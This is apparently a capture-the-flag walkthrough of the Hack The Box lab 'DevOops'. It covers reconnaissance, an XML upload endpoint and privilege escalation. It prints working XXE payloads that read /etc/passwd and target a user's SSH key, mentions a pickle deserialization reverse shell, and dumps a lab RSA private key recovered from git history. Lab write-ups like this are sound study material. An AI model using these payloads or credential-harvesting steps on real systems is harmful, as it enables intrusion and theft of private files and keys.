Linux - Medium - DevOops

Recon

$nmap -p- -A 10.129.164.53
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Going to port 5000, get’s s a nice site under construction!.

2b68d85665030d6656512ffda32e2d6a.png

Running dirsearch finds us /feed and /upload.

Target: http://10.129.164.53:5000/

[19:31:38] Starting: 
[19:32:05] 200 -  533KB - /feed
[19:32:27] 200 -  347B  - /upload

As one could expect, /upload will be our primary target.

dc75360b0360e3635f3b38c446655b0b.png

Uploading my sample xml file, causes the server to crash.

35b68b181c319484c23dc8a1788cc0f7.png

Creating xml as mentioned by the site, returns some kind of blogpost processing response.

<Document>
    <Author>John Doe</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

9d42130d77ac685862adc42f8d5ff816.png

Going to http://10.129.164.53:5000/uploads/sample-xml-files-sample-4.xml does indeed work.

456e0dbd7151ffd27aaac6135c8eb2ae.png

We also learn that the files are stored under /home/roosa/deploy/src and now know the name of our victim user roosa. For a recap on testing xml files, checkout hacktricks, as this is where I got my code from. Let’s test if ENTITY declaration is working.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<Document>
    <Author>John Doe</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

Testing further, let’s see if we can see file contents.

<!DOCTYPE foo 
[<!ENTITY example SYSTEM "/etc/passwd"> 
]>
<Document>
    <Author>&example;</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

It works!

bfcbf0ebfab05b6d30bdbe45fc0c5467.png

There are two ways of moving forward. One, just grabbing the id_rsa (/home/roosa/.ssh/id_rsa) of user roosa, that we found earlier. Remember to chmod 600 and we are in.

Second option is to try to abuse feed.py.

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER, filename)

@app.route("/")
def xss():
    return render_template('index.html')

@app.route("/feed")
def fakefeed():
    return send_from_directory(".", "devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
    # TODO: Proper save to database, this is for testing purposes right now
    picklestr = base64.urlsafe_b64decode(request.data)
    
    # Deserialize the pickled object
    postObj = pickle.loads(picklestr)
    
    return "POST RECEIVED: " + postObj['Subject']

## TODO: VERY important! DISABLED THIS IN PRODUCTION
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

We can do a post to /newpost and get a reverse shell. Abusing pickle is nicely explained in this blogpost.

Priv esc

In our home folder we have a couple of non-standard things.

run-blogfeed.sh

#/bin/bash

# TODO: replace with better script and run as blogfeed user which is restricted

cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh

run-gunicorn.sh:

#!/bin/sh

export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

There is also /deploy and /work. They both have run-gunicorn script, but /work has also authcredentials.key.

~/work/blogfeed/resources/integration$ cat authcredentials.key 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

That is definetly interesting, I tried to ssh as root into the server, but no shot. Exploring /work further, I found that it has git in it.

~/work/blogfeed$ ls -la
total 32
drwxrwx--- 5 roosa roosa 4096 Oct 17 09:51 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26  2021 ..
-rw-rw-r-- 1 roosa roosa    0 Oct 17 09:51 access.log
-rw-rw-r-- 1 roosa roosa 3869 Oct 17 09:51 feed.log
drwxrwx--- 8 roosa roosa 4096 Mar 26  2021 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26  2021 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26  2021 src

Checking the commits get’s us explanation, why our ssh key didn’t work.

roosa@devoops:~/work/blogfeed$ git log --name-only --oneline
<SNIP>
33e87c3 reverted accidental commit with proper key
resources/integration/authcredentials.key
d387abf add key for feed integration from tnerprise backend
resources/integration/authcredentials.key
1422e5a Initial commit
README.md

2531e55aebee7ce9d9aa383c01f78ae1.png

Logging in with newly obtained ssh key works. Cool box.

34c9562c68a11a08895326f024854fa9.png